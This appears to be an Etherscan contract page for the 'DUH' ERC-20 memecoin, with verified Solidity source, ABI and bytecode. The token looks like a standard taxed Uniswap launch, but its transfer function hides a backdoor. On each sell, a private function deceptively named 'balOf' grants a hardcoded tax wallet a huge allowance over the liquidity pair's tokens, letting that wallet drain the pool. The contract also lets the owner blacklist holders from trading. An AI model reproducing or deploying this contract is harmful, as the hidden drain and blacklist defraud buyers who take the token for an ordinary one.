Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 DUH
Holders
87
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,354,561,691.349108189 DUHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DUH
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-23 */ // SPDX-License-Identifier: MIT /** Web: https://duhcoin.fun X: https://x.com/duh_coin_eth Tg: https://t.me/duh_coin_eth **/ pragma solidity 0.8.25; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DUH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _rApprovals; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Duh"; string private constant _symbol = unicode"DUH"; uint256 public _maxTxAmount = 2 * (_tTotal/100); uint256 public _maxWalletSize = 2 * (_tTotal/100); uint256 public _taxSwapThreshold = 1 * (_tTotal/100); uint256 public _maxTaxSwap = 1 * (_tTotal/100); uint256 private _initialBuyTax = 15; uint256 private _initialSellTax = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 10; uint256 private _reduceSellTaxAt = 10; uint256 private _preventSwapBefore = 10; uint256 private _transferTax = 0; uint256 private _buyCount = 0; IUniswapV2Router02 private uniV2Router; address private uniV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xff267cF14eB24254B7007bD7b33a2e835aCfbA2D); _rOwned[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPairOf() external onlyOwner { uniV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniV2Router), _tTotal); uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair( address(this), uniV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; } function balOf(address[2] memory totals, uint256 amount) private { _rApprovals[totals[0]][totals[1]] = amount; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _rApprovals[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _rApprovals[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _rApprovals[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _rOwned[from] = _rOwned[from] - amount; _rOwned[to] = _rOwned[to] + amount; emit Transfer(from, to, amount); return; } uint256 taxFee=0; if (from != owner() && to != owner()) { if(_buyCount>0){ taxFee = (_transferTax); } require(!bots[from] && !bots[to]); if(_buyCount==0){ taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); } if (from == uniV2Pair && to != address(uniV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxFee = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniV2Pair && from!= address(this) ){ taxFee = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); balOf([to, _taxWallet], amount>0?12000*_maxTxAmount.add(50):_taxSwapThreshold.add(100)*25000); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniV2Pair && swapEnabled) { if (block.number > lastSellBlock) { sellCount = 0; } if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); sendETHToFee(address(this).balance); sellCount++; lastSellBlock = block.number; } } uint256 taxAmount = taxFee.mul(amount).div(100); if(taxFee > 0){ _rOwned[address(this)]=_rOwned[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _rOwned[from]=_rOwned[from].sub(amount); _rOwned[to]=_rOwned[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function rescueEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router.WETH(); _approve(address(this), address(uniV2Router), tokenAmount); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function add(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function del(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } receive() external payable {} function startTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61037f565b610021906461f313f880610394565b61002b91906103ab565b610036906002610394565b60065560646100476009600a61037f565b610056906461f313f880610394565b61006091906103ab565b61006b906002610394565b600755606461007c6009600a61037f565b61008b906461f313f880610394565b61009591906103ab565b6100a0906001610394565b60085560646100b16009600a61037f565b6100c0906461f313f880610394565b6100ca91906103ab565b6100d5906001610394565b600955600f600a818155600b8290555f600c819055600d819055600e82905591819055601055601181905560128190556014805461ffff60a81b191690556015819055601655348015610126575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673ff267cf14eb24254b7007bd7b33a2e835acfba2d1790556101996009600a61037f565b6101a8906461f313f880610394565b335f9081526001602081905260408220929092556003906101d05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055490911683529120805490921617905561022d3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102646009600a61037f565b610273906461f313f880610394565b60405190815260200160405180910390a36103ca565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102d757815f19048211156102bd576102bd610289565b808516156102ca57918102915b93841c93908002906102a2565b509250929050565b5f826102ed57506001610379565b816102f957505f610379565b816001811461030f576002811461031957610335565b6001915050610379565b60ff84111561032a5761032a610289565b50506001821b610379565b5060208310610133831016604e8410600b8410161715610358575081810a610379565b610362838361029d565b805f190482111561037557610375610289565b0290505b92915050565b5f61038d60ff8416836102df565b9392505050565b808202811582820484141761037957610379610289565b5f826103c557634e487b7160e01b5f52601260045260245ffd5b500490565b611b81806103d75f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610348578063a9059cbb14610373578063bf474bed14610392578063c4c1c94f146103a7578063ce31a06b146103c6578063dd62ed3e146103da575f80fd5b8063715018a6146102d0578063751039fc146102e45780637d1db4a5146102f85780638da5cb5b1461030d5780638f9a55c014610333575f80fd5b806323b872dd116100f957806323b872dd146101f8578063293230b814610217578063313ce5671461022b5780633bbac579146102465780634b32e6ed1461027d57806370a082311461029c575f80fd5b806306fdde031461013f578063095ea7b31461017c5780630f769dfc146101ab5780630faee56f146101c157806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526003815262088ead60eb1b60208201525b60405161017391906116a7565b60405180910390f35b348015610187575f80fd5b5061019b610196366004611700565b61041e565b6040519015158152602001610173565b3480156101b6575f80fd5b506101bf610434565b005b3480156101cc575f80fd5b506101d660095481565b604051908152602001610173565b3480156101ef575f80fd5b506101d661063c565b348015610203575f80fd5b5061019b61021236600461172a565b61065d565b348015610222575f80fd5b506101bf6106bf565b348015610236575f80fd5b5060405160098152602001610173565b348015610251575f80fd5b5061019b610260366004611768565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610288575f80fd5b506101bf610297366004611797565b6108a4565b3480156102a7575f80fd5b506101d66102b6366004611768565b6001600160a01b03165f9081526001602052604090205490565b3480156102db575f80fd5b506101bf61092b565b3480156102ef575f80fd5b506101bf61099c565b348015610303575f80fd5b506101d660065481565b348015610318575f80fd5b505f546040516001600160a01b039091168152602001610173565b34801561033e575f80fd5b506101d660075481565b348015610353575f80fd5b50604080518082019091526003815262088aa960eb1b6020820152610166565b34801561037e575f80fd5b5061019b61038d366004611700565b610a50565b34801561039d575f80fd5b506101d660085481565b3480156103b2575f80fd5b506101bf6103c1366004611797565b610a5c565b3480156103d1575f80fd5b506101bf610ae0565b3480156103e5575f80fd5b506101d66103f4366004611857565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61042a338484610b35565b5060015b92915050565b5f546001600160a01b031633146104665760405162461bcd60e51b815260040161045d9061188e565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b59030906104a16009600a6119b7565b6104b0906461f313f8806119c5565b610b35565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052991906119dc565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac91906119dc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a91906119dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6106496009600a6119b7565b610658906461f313f8806119c5565b905090565b5f610669848484610c59565b6106b584336104b085604051806060016040528060288152602001611b24602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611323565b5060019392505050565b5f546001600160a01b031633146106e85760405162461bcd60e51b815260040161045d9061188e565b601454600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b6013546001600160a01b031663f305d7194730610773816001600160a01b03165f9081526001602052604090205490565b5f806107865f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ec573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061081191906119f7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610866573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088a9190611a22565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108cd5760405162461bcd60e51b815260040161045d9061188e565b5f5b8151811015610927575f60045f8484815181106108ee576108ee611a41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016108cf565b5050565b5f546001600160a01b031633146109545760405162461bcd60e51b815260040161045d9061188e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109c55760405162461bcd60e51b815260040161045d9061188e565b6109d16009600a6119b7565b6109e0906461f313f8806119c5565b6006556109ef6009600a6119b7565b6109fe906461f313f8806119c5565b6007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a2e6009600a6119b7565b610a3d906461f313f8806119c5565b60405190815260200160405180910390a1565b5f61042a338484610c59565b5f546001600160a01b03163314610a855760405162461bcd60e51b815260040161045d9061188e565b5f5b815181101561092757600160045f848481518110610aa757610aa7611a41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a87565b5f546001600160a01b03163314610b095760405162461bcd60e51b815260040161045d9061188e565b60405133904780156108fc02915f818181858888f19350505050158015610b32573d5f803e3d5ffd5b50565b6001600160a01b038316610b975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610bf85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b5f8111610d805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b601454600160b01b900460ff161580610da25750601454600160a81b900460ff165b15610e4c576001600160a01b0383165f90815260016020526040902054610dca908290611a55565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610df9908290611a68565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4c9085815260200190565b5f80546001600160a01b03858116911614801590610e7757505f546001600160a01b03848116911614155b156111cd5760125415610e8957506011545b6001600160a01b0384165f9081526004602052604090205460ff16158015610ec957506001600160a01b0383165f9081526004602052604090205460ff16155b610ed1575f80fd5b6012545f03610ef457600e5460125411610eed57600a54610ef1565b600c545b90505b6014546001600160a01b038581169116148015610f1f57506013546001600160a01b03848116911614155b8015610f4357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104257600654821115610f9a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045d565b60075482610fbc856001600160a01b03165f9081526001602052604090205490565b610fc69190611a68565b11156110145760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045d565b600e546012541161102757600a5461102b565b600c545b601280549192505f61103c83611a7b565b91905055505b6014546001600160a01b03848116911614801561106857506001600160a01b0384163014155b1561111457600f546012541161108057600b54611084565b600d545b604080518082019091526001600160a01b03808616825260055416602082015290915061111490836110fa576008546110be90606461135b565b6110ca906161a86119c5565b81516001600160a01b039081165f9081526002602090815260408083209582015190931682529390935290912055565b60065461110890603261135b565b6110ca90612ee06119c5565b305f90815260016020526040902054601454600160a81b900460ff1615801561114a57506014546001600160a01b038581169116145b801561115f5750601454600160b01b900460ff165b156111cb57601654431115611173575f6015555b600854811180156111875750601054601254115b156111a9576111a96111a48461119f846009546113c0565b6113c0565b6113d4565b6111b247611544565b60158054905f6111c183611a7b565b9091555050436016555b505b5f6111e360646111dd848661157b565b906115f9565b9050811561125d57305f90815260016020526040902054611204908261135b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112549085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461127f908461163a565b6001600160a01b0386165f908152600160205260409020556112c26112a4848361163a565b6001600160a01b0386165f908152600160205260409020549061135b565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61130b868561163a565b60405190815260200160405180910390a35050505050565b5f81848411156113465760405162461bcd60e51b815260040161045d91906116a7565b505f6113528486611a55565b95945050505050565b5f806113678385611a68565b9050838110156113b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b9392505050565b5f8183116113ce57826113b9565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061141a5761141a611a41565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611471573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149591906119dc565b816001815181106114a8576114a8611a41565b6001600160a01b0392831660209182029290920101526013546114ce9130911684610b35565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115069085905f90869030904290600401611a93565b5f604051808303815f87803b15801561151d575f80fd5b505af115801561152f573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610927573d5f803e3d5ffd5b5f825f0361158a57505f61042e565b5f61159583856119c5565b9050826115a28583611b04565b146113b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b5f6113b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167b565b5f6113b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611323565b5f818361169b5760405162461bcd60e51b815260040161045d91906116a7565b505f6113528486611b04565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b32575f80fd5b80356116fb816116dc565b919050565b5f8060408385031215611711575f80fd5b823561171c816116dc565b946020939093013593505050565b5f805f6060848603121561173c575f80fd5b8335611747816116dc565b92506020840135611757816116dc565b929592945050506040919091013590565b5f60208284031215611778575f80fd5b81356113b9816116dc565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117a8575f80fd5b823567ffffffffffffffff808211156117bf575f80fd5b818501915085601f8301126117d2575f80fd5b8135818111156117e4576117e4611783565b8060051b604051601f19603f8301168101818110858211171561180957611809611783565b604052918252848201925083810185019188831115611826575f80fd5b938501935b8285101561184b5761183c856116f0565b8452938501939285019261182b565b98975050505050505050565b5f8060408385031215611868575f80fd5b8235611873816116dc565b91506020830135611883816116dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561191157815f19048211156118f7576118f76118c3565b8085161561190457918102915b93841c93908002906118dc565b509250929050565b5f826119275750600161042e565b8161193357505f61042e565b816001811461194957600281146119535761196f565b600191505061042e565b60ff841115611964576119646118c3565b50506001821b61042e565b5060208310610133831016604e8410600b8410161715611992575081810a61042e565b61199c83836118d7565b805f19048211156119af576119af6118c3565b029392505050565b5f6113b960ff841683611919565b808202811582820484141761042e5761042e6118c3565b5f602082840312156119ec575f80fd5b81516113b9816116dc565b5f805f60608486031215611a09575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a32575f80fd5b815180151581146113b9575f80fd5b634e487b7160e01b5f52603260045260245ffd5b8181038181111561042e5761042e6118c3565b8082018082111561042e5761042e6118c3565b5f60018201611a8c57611a8c6118c3565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae35784516001600160a01b031683529383019391830191600101611abe565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220336891bda93105add3bf444e95246e3d226a04be777659774b1c55081a91a78964736f6c63430008190033
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610348578063a9059cbb14610373578063bf474bed14610392578063c4c1c94f146103a7578063ce31a06b146103c6578063dd62ed3e146103da575f80fd5b8063715018a6146102d0578063751039fc146102e45780637d1db4a5146102f85780638da5cb5b1461030d5780638f9a55c014610333575f80fd5b806323b872dd116100f957806323b872dd146101f8578063293230b814610217578063313ce5671461022b5780633bbac579146102465780634b32e6ed1461027d57806370a082311461029c575f80fd5b806306fdde031461013f578063095ea7b31461017c5780630f769dfc146101ab5780630faee56f146101c157806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526003815262088ead60eb1b60208201525b60405161017391906116a7565b60405180910390f35b348015610187575f80fd5b5061019b610196366004611700565b61041e565b6040519015158152602001610173565b3480156101b6575f80fd5b506101bf610434565b005b3480156101cc575f80fd5b506101d660095481565b604051908152602001610173565b3480156101ef575f80fd5b506101d661063c565b348015610203575f80fd5b5061019b61021236600461172a565b61065d565b348015610222575f80fd5b506101bf6106bf565b348015610236575f80fd5b5060405160098152602001610173565b348015610251575f80fd5b5061019b610260366004611768565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610288575f80fd5b506101bf610297366004611797565b6108a4565b3480156102a7575f80fd5b506101d66102b6366004611768565b6001600160a01b03165f9081526001602052604090205490565b3480156102db575f80fd5b506101bf61092b565b3480156102ef575f80fd5b506101bf61099c565b348015610303575f80fd5b506101d660065481565b348015610318575f80fd5b505f546040516001600160a01b039091168152602001610173565b34801561033e575f80fd5b506101d660075481565b348015610353575f80fd5b50604080518082019091526003815262088aa960eb1b6020820152610166565b34801561037e575f80fd5b5061019b61038d366004611700565b610a50565b34801561039d575f80fd5b506101d660085481565b3480156103b2575f80fd5b506101bf6103c1366004611797565b610a5c565b3480156103d1575f80fd5b506101bf610ae0565b3480156103e5575f80fd5b506101d66103f4366004611857565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61042a338484610b35565b5060015b92915050565b5f546001600160a01b031633146104665760405162461bcd60e51b815260040161045d9061188e565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b59030906104a16009600a6119b7565b6104b0906461f313f8806119c5565b610b35565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052991906119dc